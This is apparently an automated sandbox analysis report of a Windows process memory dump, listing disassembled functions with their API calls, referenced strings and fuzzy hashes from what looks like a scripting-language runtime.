Opcode Fuzzy Hash: d49d4a59a49a3da6b366b391dc9a9a1d848519fabdcd2871ca3453a43539426a
Instruction Fuzzy Hash: 55614E71910219BFDB21DFA8EC48AAE7B79FF08320F104215FA15AB2D5DB759980CF94

Uniqueness

Uniqueness Score: -1.00%

Function 011A0429, Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 01191821: _memmove.LIBCMT ref: 0119185B

GetForegroundWindow.USER32(01210980,?,?,?,?,?), ref: 011A04E3
IsWindow.USER32(?), ref: 011D66BB

Strings

ALL, xrefs: 011D6622
TITLE, xrefs: 011D6650
REGEXPTITLE, xrefs: 011D64B4
HANDLE, xrefs: 011D649E
ACTIVE, xrefs: 011D6488
INSTANCE, xrefs: 011D65FA
REGEXPCLASS, xrefs: 011D6506
LAST, xrefs: 011D6472
CLASS, xrefs: 011D64E5

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: c1b089232b77418ddd387367f341993f1ea4030c4e0d25047f13289ebc856af7
Instruction ID: 664296f27d3cf2a4e37ea0f2c16f806fe28f2444999eb336b20f86e3dd38dfc8
Opcode Fuzzy Hash: c1b089232b77418ddd387367f341993f1ea4030c4e0d25047f13289ebc856af7
Instruction Fuzzy Hash: BED18070104607EFDB0CEF24C4809AEBFB5BF64358F504A19F4A6975A1DB30E999CB92

Uniqueness

Uniqueness Score: -1.00%

Function 011DB8B6, Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 011DB915

Strings

[HANDLE:, xrefs: 011DB921
REGEXP=, xrefs: 011DB92A
ALL, xrefs: 011DB9A9
[ACTIVE, xrefs: 011DB902
[LAST, xrefs: 011DB9C2
ACTIVE, xrefs: 011DB8F0
[CLASS:, xrefs: 011DB965
[ALL, xrefs: 011DB9BB
CLASSNAME=, xrefs: 011DB952
LAST, xrefs: 011DB8DA
HANDLE=, xrefs: 011DB90E
[REGEXPTITLE:, xrefs: 011DB93D

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 0615d9a81fc671594685df02fa8e8aab9306f883a7608cb8bab8af2bed04cf21
Instruction ID: 55228bb85261298403a1a6d929f9f69d5855ec20137a16f42006eb541f3df65b
Opcode Fuzzy Hash: 0615d9a81fc671594685df02fa8e8aab9306f883a7608cb8bab8af2bed04cf21
Instruction Fuzzy Hash: FC31F6F0A58247AADF0DEB51CD42EED77B4AF71264F610139E4A2B20D0FF556E00C955

Uniqueness

Uniqueness Score: -1.00%

Function 0120CCA6, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

DragQueryPoint.SHELL32(?,?), ref: 0120CCCF

Part of subcall function 0120B1A9: ClientToScreen.USER32(?,?), ref: 0120B1D2
Part of subcall function 0120B1A9: GetWindowRect.USER32 ref: 0120B248
Part of subcall function 0120B1A9: PtInRect.USER32(?,?,0120C6BC), ref: 0120B258

SendMessageW.USER32(?,000000B0,?,?), ref: 0120CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0120CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0120CD66
_wcscat.LIBCMT ref: 0120CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0120CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 0120CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 0120CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 0120CDFF
DragFinish.SHELL32(?), ref: 0120CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0120CEF9

Strings

@GUI_DRAGID, xrefs: 0120CE71
@GUI_DROPID, xrefs: 0120CE26
@GUI_DRAGFILE, xrefs: 0120CEA8

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: b8ef84c7632d32cc355916cb7d1ac7c5ed642f9a3878ee0e9ce38d67a5f6816d
Instruction ID: eefa0fdfb27b1768bde78160996b5fb748df0b0670e5c9a545d1a6fecb1d0fbb
Opcode Fuzzy Hash: b8ef84c7632d32cc355916cb7d1ac7c5ed642f9a3878ee0e9ce38d67a5f6816d
Instruction Fuzzy Hash: 4A619F71508302AFC715EF54D888D5FBBE8FFE8754F000A1EF595921A0DB709A49CB56

Uniqueness

Uniqueness Score: -1.00%

Function 011E82D5, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 011E831A
VariantCopy.OLEAUT32(00000000,?), ref: 011E8323
VariantClear.OLEAUT32(00000000), ref: 011E832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 011E841D
__swprintf.LIBCMT ref: 011E844D
VarR8FromDec.OLEAUT32(?,?), ref: 011E8479
VariantInit.OLEAUT32(?), ref: 011E852A
SysFreeString.OLEAUT32(?), ref: 011E85BE
VariantClear.OLEAUT32(?), ref: 011E8618
VariantClear.OLEAUT32(?), ref: 011E8627
VariantInit.OLEAUT32(00000000), ref: 011E8665

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 011E8447
Default, xrefs: 011E84DA

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 4710f6cd1f4c680195b7f193310e31642bdbc262fcb53cb2c8e7ac3a577e9fbb
Instruction ID: ce19fbcbde0bf081b3615eb5f81f91185bc017578fff8f41ff83668b3f89146f
Opcode Fuzzy Hash: 4710f6cd1f4c680195b7f193310e31642bdbc262fcb53cb2c8e7ac3a577e9fbb
Instruction Fuzzy Hash: 9AD1BF75608916EBDB2C9FE9D498B6EBBF4FF05700F058555E505AB290DB30EC40CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 011EA27B, Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 011EA2C2

Part of subcall function 01191A36: _memmove.LIBCMT ref: 01191A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 011EA2E3
__swprintf.LIBCMT ref: 011EA33C
__swprintf.LIBCMT ref: 011EA355
_wprintf.LIBCMT ref: 011EA3FC
_wprintf.LIBCMT ref: 011EA41A

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 011EA3F7
^ ERROR , xrefs: 011EA391
"%s" (%d) : ==> %s:, xrefs: 011EA415
Error: , xrefs: 011EA3C4
Incorrect parameters to object property !, xrefs: 011EA39E
Line %d (File "%s"):, xrefs: 011EA336, 011EA34F

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 2f407251ad001c262e7bc62177e498ac3df6a81ae1ff675f644796c2304da437
Instruction ID: be052bf5d28e10eb4025af834c656d83114252ae6a7252649f28f916c8dde8ca
Opcode Fuzzy Hash: 2f407251ad001c262e7bc62177e498ac3df6a81ae1ff675f644796c2304da437
Instruction Fuzzy Hash: D651AE7190050BBBCF2CEBE0ED49EEEB7B9AF24254F500165E515B2050EB352F98DB60

Uniqueness

Uniqueness Score: -1.00%

Function 011E0065, Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,011CF8B8,00000001,0000138C,00000001,00000000,00000001,?,011F3FF9,00000000), ref: 011E009A
LoadStringW.USER32(00000000,?,011CF8B8,00000001), ref: 011E00A3

Part of subcall function 01191A36: _memmove.LIBCMT ref: 01191A77

GetModuleHandleW.KERNEL32(00000000,01247310,?,00000FFF,?,?,011CF8B8,00000001,0000138C,00000001,00000000,00000001,?,011F3FF9,00000000,00000001), ref: 011E00C5
LoadStringW.USER32(00000000,?,011CF8B8,00000001), ref: 011E00C8
__swprintf.LIBCMT ref: 011E0118
__swprintf.LIBCMT ref: 011E0129
_wprintf.LIBCMT ref: 011E01D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 011E01E9

Strings

Line %d:, xrefs: 011E0123
^ ERROR, xrefs: 011E017E
Error: , xrefs: 011E01A0
%s (%d) : ==> %s: %s %s, xrefs: 011E01CD
Line %d (File "%s"):, xrefs: 011E0112

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: e700b12f85ad0b6089f40e6401f7ffb7f703d2a4c9150d9c3c12368cad564b01
Instruction ID: 9912e346473f41a2ec6879a1e3fb3793c18d5a8ffb123d4c7a757995bf1655d3
Opcode Fuzzy Hash: e700b12f85ad0b6089f40e6401f7ffb7f703d2a4c9150d9c3c12368cad564b01
Instruction Fuzzy Hash: D441717290011BBACF18FBD0DD85DEE77B9AF68254F500165F511B2050EB74AF89CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0120C854, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0120C8A4
GetFocus.USER32(?,?,?,?), ref: 0120C8B4
GetDlgCtrlID.USER32 ref: 0120C8BF
_memset.LIBCMT ref: 0120C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0120CA15
GetMenuItemCount.USER32 ref: 0120CA35
GetMenuItemID.USER32(?,00000000), ref: 0120CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0120CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0120CAC4
CheckMenuRadioItem.USER32 ref: 0120CAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0120CB31

Strings

0, xrefs: 0120C9E2

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 3ad296d621e1eae28ffd9ec73877ca2c7e8f24d35d6847efc9ffc7b97767057e
Instruction ID: 46b54e5c141b41a886703852d786343689018e41fbf7805cf5a2bdc305595d98
Opcode Fuzzy Hash: 3ad296d621e1eae28ffd9ec73877ca2c7e8f24d35d6847efc9ffc7b97767057e
Instruction Fuzzy Hash: 4581A2B05143029FD726CF18D884A6B7BE4FF88354F004B5DFA9593282DB70D955CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 011EA48D, Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 011EA4D4

Part of subcall function 01191A36: _memmove.LIBCMT ref: 01191A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 011EA4F6
__swprintf.LIBCMT ref: 011EA54F
__swprintf.LIBCMT ref: 011EA568
_wprintf.LIBCMT ref: 011EA61E
_wprintf.LIBCMT ref: 011EA63C

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 011EA619
^ ERROR, xrefs: 011EA5C0
"%s" (%d) : ==> %s:, xrefs: 011EA637
Error: , xrefs: 011EA5E6
Line %d (File "%s"):, xrefs: 011EA549, 011EA562

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 88c255b8d4b1d631bedfecd7a22ce61a578a9ee48d1a8fc8d858ece33de5f0b7
Instruction ID: 9f9754ad2d90412bf954c7f6ed16ec142cc4a2d9cae292fc46cb9723daf2f64c
Opcode Fuzzy Hash: 88c255b8d4b1d631bedfecd7a22ce61a578a9ee48d1a8fc8d858ece33de5f0b7
Instruction Fuzzy Hash: 75519E7190051BBBCF2CEBE0DD48EEEB7B9AF28254F504165E525A2050EB316F98CB60

Uniqueness

Uniqueness Score: -1.00%

Function 011823F7, Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 01181F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,01182412,?,00000000,?,?,?,?,01181AA7,00000000,?), ref: 01181F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 011824AF
KillTimer.USER32(-00000001,?,?,?,?,01181AA7,00000000,?,?,01181EBE,?,?), ref: 0118254A
DestroyAcceleratorTable.USER32 ref: 011BBFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,01181AA7,00000000,?,?,01181EBE,?,?), ref: 011BC018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,01181AA7,00000000,?,?,01181EBE,?,?), ref: 011BC02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,01181AA7,00000000,?,?,01181EBE,?,?), ref: 011BC04B
DeleteObject.GDI32(00000000), ref: 011BC05D

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: be85c3b555e5cc9707be333a9547761566c1af8d55ff47f7d91dbebef11cc696
Instruction ID: 2c6ed8d961ba67531fe1ca9e8ededc1b3fe94e4d7d071dd1f7f7b670d33600e0
Opcode Fuzzy Hash: be85c3b555e5cc9707be333a9547761566c1af8d55ff47f7d91dbebef11cc696
Instruction Fuzzy Hash: E5619A35100601DFEB3FEF18E98CB6A7BF1FB51316F008929E4524A968C771A881DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01182581, Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 011829AB: GetWindowLongW.USER32(?,000000EB), ref: 011829BC

GetSysColor.USER32(0000000F), ref: 011825AF

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: f4f6c7ebea7f6d55c42702e0370176c0258752690178c8bdd73803f49a712ed8
Instruction ID: a7ec0aaa2fa61bb49af8f88aa0866269f849da88b2abf78c6fbb6a0608bc55e9
Opcode Fuzzy Hash: f4f6c7ebea7f6d55c42702e0370176c0258752690178c8bdd73803f49a712ed8
Instruction Fuzzy Hash: 3C41EA30000144AFDB3AAF2CA88CBB93B65FB19335F258255FE669E1D5CB348881DF65

Uniqueness

Uniqueness Score: -1.00%

Function 01184D37, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 01184D62
__swprintf.LIBCMT ref: 01184DAC
__i64tow.LIBCMT ref: 011BDB3B

Strings

0x%p, xrefs: 011BDB1D
%.15g, xrefs: 01184DA6
True, xrefs: 011BDAFC
False, xrefs: 011BDB03

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: fc8c061d13861fc115701fd2486598a654b8f357f5d7016ff5611888b282d65b
Instruction ID: 2c0ac8c8eb7724a91d9f7f179904127e06500a23bb2b2fb59b7606806230a3aa
Opcode Fuzzy Hash: fc8c061d13861fc115701fd2486598a654b8f357f5d7016ff5611888b282d65b
Instruction Fuzzy Hash: A241387560420AAFEF2CEF78D880FBA7BE8EB54308F50455EE249D7280EB319901CB11

Uniqueness

Uniqueness Score: -1.00%

Function 011D77B6, Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 011D77DD
SafeArrayAllocData.OLEAUT32(?), ref: 011D7836
VariantInit.OLEAUT32(?), ref: 011D7848
SafeArrayAccessData.OLEAUT32(?,?), ref: 011D7868
VariantCopy.OLEAUT32(?,?), ref: 011D78BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 011D78CF
VariantClear.OLEAUT32(?), ref: 011D78E4
SafeArrayDestroyData.OLEAUT32(?), ref: 011D78F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 011D78FA
VariantClear.OLEAUT32(?), ref: 011D790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 011D7917

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: c1e6044b93008fb96e2fc276a93fd2e4777740fdbcbead4e8940459056abd507
Instruction ID: a7360160fa3fbf63aa4f7d275ceff2f5de035085106a9028bf066a562836a467
Opcode Fuzzy Hash: c1e6044b93008fb96e2fc276a93fd2e4777740fdbcbead4e8940459056abd507
Instruction Fuzzy Hash: B7416335E00219DFCB18DFA8E8889EDBBB9FF58318F008569F955A7250DB30A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 011E7F4B, Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 011E8027

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: ec62722daa89e342e0be7a3dcc35c6db61c67b1f6db5842674232bb780e70d91
Instruction ID: 055a94b6b875586324240a08223661eba88653cceb70ff9ac87c3558d417b826
Opcode Fuzzy Hash: ec62722daa89e342e0be7a3dcc35c6db61c67b1f6db5842674232bb780e70d91
Instruction Fuzzy Hash: 48B19F75A00A0A9FEB18DFD8D488BBEBBF4EF58315F154029E611E7280D734D941CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0120C634, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

Part of subcall function 01182714: GetCursorPos.USER32(?), ref: 01182727
Part of subcall function 01182714: ScreenToClient.USER32 ref: 01182744
Part of subcall function 01182714: GetAsyncKeyState.USER32(00000001), ref: 01182769
Part of subcall function 01182714: GetAsyncKeyState.USER32(00000002), ref: 01182777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 0120C69C
ImageList_EndDrag.COMCTL32 ref: 0120C6A2
ReleaseCapture.USER32 ref: 0120C6A8
SetWindowTextW.USER32(?,00000000), ref: 0120C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0120C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 0120C847

Strings

@GUI_DROPID, xrefs: 0120C799
@GUI_DRAGFILE, xrefs: 0120C7DC

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 6b3ed58d013a2bfc2d9a31d369f1b8b1ed7b2bdbeaac5b905ced6ba7ad966cf1
Instruction ID: 883960ca046688d83ac85695b3c35008eeebff3b996f06cdcdb9cd4e7a6dd3d4
Opcode Fuzzy Hash: 6b3ed58d013a2bfc2d9a31d369f1b8b1ed7b2bdbeaac5b905ced6ba7ad966cf1
Instruction Fuzzy Hash: 8251F074614302AFEB19EF14D848F6A7BE1FBA4314F008A1DF565872E1CB30A955CF52

Uniqueness

Uniqueness Score: -1.00%

Function 011FA20D, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 011FA28E, 011FA5B2
Not an Object type, xrefs: 011FA265

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 5e03f30627f60d2732234a6122983406d42580b455b4f00238df11d70482cb9d
Instruction ID: c077e9408b4f35c07f8dbacfe1399fa7f2742f07ac29ec9e97b9c6415b8dc261
Opcode Fuzzy Hash: 5e03f30627f60d2732234a6122983406d42580b455b4f00238df11d70482cb9d
Instruction Fuzzy Hash: 1BC1A571A0021A9FDF18DF98D884AAEB7F5FF48314F14846DEA09AB280E774ED45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0120DB04, Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

GetSystemMetrics.USER32 ref: 0120DB42
GetSystemMetrics.USER32 ref: 0120DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0120DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0120DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0120DDDC
ShowWindow.USER32(00000003,00000000), ref: 0120DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 0120DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 0120DE43

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
